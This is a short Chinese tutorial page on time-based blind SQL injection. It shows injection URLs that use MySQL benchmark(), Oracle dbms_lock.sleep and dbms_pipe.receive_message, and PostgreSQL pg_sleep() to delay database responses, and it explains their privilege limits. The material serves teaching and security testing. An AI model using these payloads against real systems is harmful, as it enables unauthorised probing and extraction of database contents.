当前位置:Gxlcms > 数据库问题 > SQL盲注(2)

SQL盲注(2)

时间:2021-07-01 10:21:17 帮助过:18人阅读

MySQL中没有能直接延时的函数,但可以使用执行时间很长的函数来实现延迟,MySQL的benchmark函数就可以实现。

http://127.0.0.1/test/php?id=1;select benchmark(10000000,encode(‘hello‘,‘test‘));--

在Oracle PL/SQL中,可以利用以下指令集来延迟5秒

begin
dbms_lock.sleep(5)
end;

但是,该函数的使用存在很多限制。1.不能直接将该函数注入到子查询中,因为Oracle不支持堆叠查询。2.只有数据库管理员才能使用dbms_lock包

在Oracle PL/SQL中还有另外一种方式

http://127.0.0.1/test.php?id=1 or 1=dbms_pipe.receive_message(‘RDS‘,10)

dbms_pipe.receive_message函数将为从RDS管道返回的数据等待10秒。默认情况下,允许public权限执行该包。dbms_lock.sleep与之相反,dbms_pipe。receive_message可以直接用到SQL语句中。

PostgreSQL数据库可以使用pg_sleep函数来实现延迟

http://127.0.0.1/test.php?id=1;select pg_sleep(10); --
dbms_pipe.receive_message

SQL盲注(2)

标签:sql注入   注入   sleep   服务   直接   chm   span   没有   方式   

人气教程排行